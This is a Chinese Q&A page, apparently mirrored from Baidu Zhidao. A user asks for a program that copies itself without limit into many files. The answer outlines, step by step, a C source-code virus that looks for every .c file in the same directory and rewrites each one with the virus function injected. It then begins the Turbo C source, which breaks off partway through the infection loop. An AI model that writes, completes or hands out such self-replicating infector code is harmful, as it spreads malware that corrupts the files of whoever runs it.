有关C语言编程的问题,请大家帮帮忙

来源:百度知道 编辑:UC知道 时间:2024/05/14 07:43:39
我想编写一个程序,它能够自我复制,可是我想了好几个小时都没想出来,请高手给一些代码(关键部分的),甚至可以告诉我需要调用哪些函数,谢谢~~~~~~~~~~~,可以的话,再给50分.
大哥,我还补充一点,刚才忘记说了,不仅是复制,而且是无限量的复制,并且还能生成一个一个的文件,你放心,大哥我一定还会给你加分的.清家荡产也要加分

下面给出c语言的实现过程:
1,主程序调用病毒功能函数
2,病毒功能函数读取查找同目录下所有c文件;
3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量;
4,重新创建一个同名文件(被感染c文件)
5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数
#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i>=50)